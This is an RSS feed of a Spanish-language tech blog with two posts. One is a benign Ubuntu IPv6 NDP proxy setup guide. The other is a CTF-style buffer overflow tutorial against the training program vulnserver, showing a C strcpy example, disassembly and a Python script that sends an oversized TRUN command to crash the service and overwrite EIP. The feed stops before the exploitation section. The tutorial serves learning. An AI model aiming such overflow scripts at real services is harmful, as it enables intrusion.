<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on devcodenote.gitlab.io</title><link>https://devcodenote.gitlab.io/posts/</link><description>Recent content in Posts on devcodenote.gitlab.io</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Mon, 25 Aug 2025 11:02:44 -0600</lastBuildDate><atom:link href="https://devcodenote.gitlab.io/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Cómo configurar proxy ndppd (Ubuntu)</title><link>https://devcodenote.gitlab.io/posts/how-to-configure-ndpmd-proxy/</link><pubDate>Mon, 25 Aug 2025 11:02:44 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/how-to-configure-ndpmd-proxy/</guid><description>&lt;img src="https://devcodenote.gitlab.io/images/f238a398bf6612710b09c2ac99d801153d3fbda208a1d31b6b9fbe63e92ef44414815bab5c548ec98ca6d232e4594cd169bebb215a8584ab8b3fa7e77d85d789.png" alt="Featured image of post Cómo configurar proxy ndppd (Ubuntu)" />&lt;h2 id="que-es-ndp-proxy-daemon">Que es NDP Proxy Daemon
&lt;/h2>&lt;p>Un NDP Proxy es un programa que escucha las Neighbor Solicitation (ICMPv6 tipo 135) en la interfaz WAN, esto se usa cuando tu ISP no da un prefijo mayor a /64 o te dio un /60 y se te acabo, en mi caso solo me dio un /64.&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/b89ba80b9a4563a6479530b18d3c54df7d17fe911d77bcf7b02b25825ab0b3869fa4ced240ea55dddc5e0df6caacb8ce9962ff6ccc6b9c10cff0546a4c09e604.png"
loading="lazy"
alt="Ipv6 con prefijo /64"
>&lt;/p>
&lt;p>para poder crear otra subnet es necesario otro /64 como se puede observar en la tabla.&lt;/p>
&lt;h3 id="ipv6-subnet-table">IPv6 Subnet Table
&lt;/h3>&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Prefix&lt;/th>
&lt;th>Subnet Example&lt;/th>
&lt;th>Total IP Addresses&lt;/th>
&lt;th># of /64 nets&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>4&lt;/td>
&lt;td>x::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->124&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->60&lt;!-- raw HTML omitted -->&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>8&lt;/td>
&lt;td>xx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->120&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->56&lt;!-- raw HTML omitted -->&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>12&lt;/td>
&lt;td>xxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->116&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->52&lt;!-- raw HTML omitted -->&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>16&lt;/td>
&lt;td>xxxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->112&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->48&lt;!-- raw HTML omitted -->&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>20&lt;/td>
&lt;td>xxxx:x::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->108&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->44&lt;!-- raw HTML omitted -->&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>24&lt;/td>
&lt;td>xxxx:xx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->104&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->40&lt;!-- raw HTML omitted -->&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>28&lt;/td>
&lt;td>xxxx:xxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->100&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->36&lt;!-- raw HTML omitted -->&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>32&lt;/td>
&lt;td>xxxx:xxxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->96&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>##########&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>36&lt;/td>
&lt;td>xxxx:xxxx:x::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->92&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>268,435,456&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>40&lt;/td>
&lt;td>xxxx:xxxx:xx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->88&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>16,777,216&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>44&lt;/td>
&lt;td>xxxx:xxxx:xxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->84&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>1,048,576&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>48&lt;/td>
&lt;td>xxxx:xxxx:xxxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->80&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>65,536&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>52&lt;/td>
&lt;td>xxxx:xxxx:xxxx:x::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->76&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>4,096&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>56&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->72&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>256&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>60&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->68&lt;!-- raw HTML omitted -->&lt;/td>
&lt;td>16&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>64&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->64&lt;!-- raw HTML omitted --> (18,446,744,073,709,551,616)&lt;/td>
&lt;td>1&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>68&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:x::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->60&lt;!-- raw HTML omitted --> (1,152,921,504,606,846,976)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>72&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->56&lt;!-- raw HTML omitted --> (72,057,594,037,927,936)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>76&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->52&lt;!-- raw HTML omitted --> (4,503,599,627,370,496)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>80&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->48&lt;!-- raw HTML omitted --> (281,474,976,710,656)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>84&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:x::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->44&lt;!-- raw HTML omitted --> (17,592,186,044,416)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>88&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->40&lt;!-- raw HTML omitted --> (1,099,511,627,776)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>92&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->36&lt;!-- raw HTML omitted --> (68,719,476,736)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>96&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->32&lt;!-- raw HTML omitted --> (4,294,967,296)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>100&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:x::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->28&lt;!-- raw HTML omitted --> (268,435,456)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>104&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->24&lt;!-- raw HTML omitted --> (16,777,216)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>108&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->20&lt;!-- raw HTML omitted --> (1,048,576)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>112&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->16&lt;!-- raw HTML omitted --> (65,536)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>116&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:x::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->12&lt;!-- raw HTML omitted --> (4,096)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>120&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->8&lt;!-- raw HTML omitted --> (256)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>124&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxx::&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->4&lt;!-- raw HTML omitted --> (16)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>128&lt;/td>
&lt;td>xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx&lt;/td>
&lt;td>2^&lt;!-- raw HTML omitted -->0&lt;!-- raw HTML omitted --> (1)&lt;/td>
&lt;td>0&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;a class="link" href="https://docs.netgate.com/pfsense/en/latest/network/ipv6/subnets.html" target="_blank" rel="noopener"
>IPv6 Subnetting&lt;/a>&lt;/p>
&lt;p>En algunas ocasiones, es indispensable entender cómo funciona para diagnosticar errores.&lt;/p>
&lt;h2 id="ndp-proxy-de-forma-manual">NDP Proxy de forma manual
&lt;/h2>&lt;p>para realizar de forma manual, primero tenemos que asignarle una ipv6 a uno de nuestros clientes, en mi caso cada cliente recibe la ip mediante SLAAC (Stateless Address Auto-Configuration).&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/c0f208b8e16f1e5a24dbbc09266ba0bcc5ca71fb4f18d7be460c12cf6e76ff7614b1ae4f64207173739ca7c2bd4fa93e5ca9e535c3b53f0488581ba538f2b2e9.png"
loading="lazy"
alt="Kali linux ipv6 type SLAAC"
>&lt;/p>
&lt;p>para esto primero se tiene que hacer una traducción de dirección, como se puede observar la ip fd78:e9fa:9f28:0:9c0d:dea4:8e6f:7b66 es de tipo ULA (Unique Local Address), esto se hace con ip6tables mediante NETMAP.&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/e3725a90477f92d912f8862a8f6a8bd04e58a2e9dc677f6587ae07bcea368a4582751d0cb934902c76f7102f61cf279a7d6c344cc8f4da9def0134f970e5bc97.png"
loading="lazy"
alt="Wireshark ICMP type ULA"
>&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>NETMAP&lt;/strong>&lt;br>
This target allows you to statically map a whole network of addresses onto another network of addresses.&lt;br>
It can only be used from rules in the nat table. &lt;code>--to address[/mask]&lt;/code>&lt;br>
Network address to map to. The resulting address will be constructed in the following way:&lt;br>
All &amp;lsquo;one&amp;rsquo; bits in the mask are filled in from the new &lt;code>address&lt;/code>.&lt;br>
All bits that are zero in the mask are filled in from the original address.&lt;br>
IPv6 support available since Linux kernels &amp;gt;= 3.7.&lt;/p>
&lt;/blockquote>
&lt;h3 id="implementacion-de-netmap-con-iptables">implementacion de NETMAP con IPTABLES
&lt;/h3>&lt;p>Para implementar NETMAP con ip6tables, debemos conocer el prefijo delegado por el ISP y el prefijo ULA que utilizamos para la traducción. El comando con ip6tables queda de la siguiente forma:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo ip6tables -t nat -I POSTROUTING -s fd78:e9fa:9f28::/64 -o eth0 -j NETMAP --to 2806:103e:15:6663::/64
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo ip6tables -t nat -I PREROUTING -i eth0 -d 2806:103e:15:6663::/64 -j NETMAP --to fd78:e9fa:9f28::/64
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>una vez realizada la traducción de prefijo los paquetes se ven de la siguiente forma.&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/007372aa0fb2fe59d4ed8a5cd07f0acebf9c722834ebf9ce6edc3342b3589a7d6b1dad6a51b5b533df9b417b2fe1a60f3d8cdba45374fe66fcdc6df5218f6f6a.png"
loading="lazy"
alt="alt text"
>&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/62d261de8af9b00b1fdba062056e6a9595afe23316fd469b936c5643a3db58d1614ef8600a79cbd56dd4449babda7ff0a703942aafd6ac55e867bf89e3cf180f.png"
loading="lazy"
alt="alt text"
>&lt;/p>
&lt;p>ahora se necesita realizar el proxy de Neighbor Solicitation esto se usa para &amp;ldquo;Un nodo envía un mensaje NS para solicitar la dirección MAC (la dirección física) de un nodo vecino cuya dirección IPv6 conoce&amp;rdquo;, el proxy hace que el router en el que estamos implementado ndppd proxy responda con un Neighbor Advertisement (NA), entonces primero se envia Neighbor Solicitation después el cliente debe responder con Neighbor Advertisement para posteriormente almacenarse en una tabla de Neighbor Cache Table.&lt;/p>
&lt;p>Para lograr esto en el router, añadimos lo siguiente:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo ip -6 neigh add proxy 2806:103e:15:6663:9c0d:dea4:8e6f:7b66 dev eth0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># En sysctl hablilitamos proxy_ndp &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.ipv6.conf.all.proxy_ndp&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.ipv6.conf.eth0.proxy_ndp&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Como se puede observar, ya se realiza la traducción y se responden los paquetes.&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/d4e272272d3263429ae6f7743f001f744300294217d33ac935a8b487fde1e230a4a9c899ccaca1cf25d3ef4148efc685a783ccfe4341140cc55f2643c1dfa1a6.png"
loading="lazy"
alt="alt text"
>&lt;/p>
&lt;p>Con neigh show se puede ver los proxy activos&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ip -6 neigh show proxy dev eth0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="instalacion-de-ndppd">Instalacion de ndppd
&lt;/h2>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt-get install ndppd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>la configuración se encuentra en nano /etc/ndppd.conf
insertamos esto para una configuración básica, en el caso de rule es el prefijo que nos da el ISP&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>route-ttl &lt;span style="color:#ae81ff">30000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>proxy eth0 &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> router yes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> timeout &lt;span style="color:#ae81ff">500&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ttl &lt;span style="color:#ae81ff">30000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> promiscuous yes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rule 2806:103e:15:6663::/64 &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> static
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Con esto, la configuración estaría completa. Para hacer debug se usa:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ndppd -vvv
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title> Que es un buffer overflow (vulnserver) (CFT)</title><link>https://devcodenote.gitlab.io/posts/que-es-un-buffer-overflow-vulnserver-cft/</link><pubDate>Sat, 07 Jun 2025 10:30:00 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/que-es-un-buffer-overflow-vulnserver-cft/</guid><description>&lt;img src="https://i.imgur.com/TkhMSIZ.png" alt="Featured image of post Que es un buffer overflow (vulnserver) (CFT)" />&lt;p>En esta entrada mostrare lo que es un buffer overflow, esta es una falla muy conocida y al mismo tiempo peligrosa en los CFT es común ver este tipo de retos por lo que mostrare como se puede realizar uno básico, para este tipo de vulnerabilidades es necesario tener un poco de conocimiento de cómo se maneja la memoria y asm.&lt;/p>
&lt;p>Los dos programas que se van a ocupar son:&lt;/p>
&lt;ul>
&lt;li>x64dbg&lt;/li>
&lt;li>IDA&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/stephenbradshaw/vulnserver" target="_blank" rel="noopener"
>https://github.com/stephenbradshaw/vulnserver&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="que-es-un-bufferoverflow">Que es un bufferoverflow?
&lt;/h3>&lt;p>bufferoverflow se produce cuando se colocan más datos en un búfer de longitud fija de los que el búfer puede manejar.
en este caso en la función buffer tiene una variable de tamaño 5 y nuestra cadena tiene una longitud mayora a eso por lo que los datos restantes van a sobre escribir el stack&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;string.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">void&lt;/span> &lt;span style="color:#a6e22e">buffer&lt;/span>(&lt;span style="color:#66d9ef">char&lt;/span>&lt;span style="color:#f92672">*&lt;/span> input) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">char&lt;/span> buffer[&lt;span style="color:#ae81ff">5&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">strcpy&lt;/span>(buffer, input);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">int&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>(&lt;span style="color:#66d9ef">int&lt;/span> argc, &lt;span style="color:#66d9ef">char&lt;/span>&lt;span style="color:#f92672">**&lt;/span> argv) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">char&lt;/span>&lt;span style="color:#f92672">*&lt;/span> Vulnerable&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buffer&lt;/span>(Vulnerable);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://i.imgur.com/d7syZFV.png"
loading="lazy"
alt="enter image description here"
>&lt;/p>
&lt;p>si compilamos y depuramos vemos que el EIP (puntero de instrucción) no tiene una dirección si no puras &amp;ldquo;aaaa&amp;rdquo; en hax&lt;/p>
&lt;h3 id="encontrar-la-funcion-vulnerable">Encontrar la funcion vulnerable
&lt;/h3>&lt;p>para explotar el buffer overflow en vulnserver sin protecciones es bastante fácil&lt;/p>
&lt;p>en este caso remiendo hacer un análisis estático del programa esto es más fácil si se hace desde IDA, el modo grafico nos va a ser de gran ayuda en estos casos para darle seguiento a las funciones&lt;/p>
&lt;p>esta es la función de bienvenida por lo que hay que continuar para ver si hay algún comando vulnerable&lt;/p>
&lt;p>&lt;img src="https://i.imgur.com/6pw7YUX.png"
loading="lazy"
alt="enter image description here"
>&lt;/p>
&lt;p>en este caso la funcion3 es candidata para ser explotada y es llamada por varios comandos, pero más especialmente por TRUN ya es la más fácil&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-x86asm" data-lang="x86asm">.text:00401808 push ebp
.text:00401809 mov ebp, esp
.text:0040180B sub esp, 7E8h
.text:00401811 mov eax, [ebp+arg_0]
.text:00401814 mov [esp+7E8h+Source], eax ; Source
.text:00401818 lea eax, [ebp+var_7D8]
.text:0040181E mov [esp+7E8h+Destination], eax ; Destination
.text:00401821 call _strcpy
.text:00401826 leave
.text:00401827 retn
.text:00401827 _Function3 endp
&lt;/code>&lt;/pre>&lt;p>esta funcion es vulnerable ya que _strcpy no tiene ninguna &amp;ldquo;proteccion&amp;rdquo;&lt;/p>
&lt;hr>
&lt;p>&lt;code>strcpy&lt;/code>&lt;/p>
&lt;p>Copia la cadena C señalada por la fuente en la matriz señalada por el destino , incluido el carácter nulo de terminación (y deteniéndose en ese punto).&lt;/p>
&lt;hr>
&lt;p>En este caso para probar si es vulnerable vamos intentar enviar cadena de más de 2020 caracteres&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/usr/bin/python&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> socket
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s &lt;span style="color:#f92672">=&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>socket(socket&lt;span style="color:#f92672">.&lt;/span>AF_INET, socket&lt;span style="color:#f92672">.&lt;/span>SOCK_STREAM)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>error:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>host &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;192.168.1.115&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>port &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">9999&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> remote_ip &lt;span style="color:#f92672">=&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>gethostbyname( host )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>gaierror:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>s&lt;span style="color:#f92672">.&lt;/span>connect((remote_ip , port))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>command&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;TRUN _.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>message &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;a&amp;#34;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">2500&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>exploit&lt;span style="color:#f92672">=&lt;/span>command&lt;span style="color:#f92672">+&lt;/span>message
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span> :
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s&lt;span style="color:#f92672">.&lt;/span>send(exploit&lt;span style="color:#f92672">.&lt;/span>encode())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>error:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>reply &lt;span style="color:#f92672">=&lt;/span> s&lt;span style="color:#f92672">.&lt;/span>recv(&lt;span style="color:#ae81ff">4096&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print (reply)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Lo que buscamos es que se sobrescriba el ESP y después el EIP y como era de esperarse si se sobre escribió el EIP contiene 616161&lt;/p>
&lt;p>&lt;img src="https://i.imgur.com/TkhMSIZ.png"
loading="lazy"
alt="enter image description here"
>&lt;/p>
&lt;h3 id="explotacion-cantidad-de-bytes-necesarios">Explotacion (cantidad de bytes necesarios)
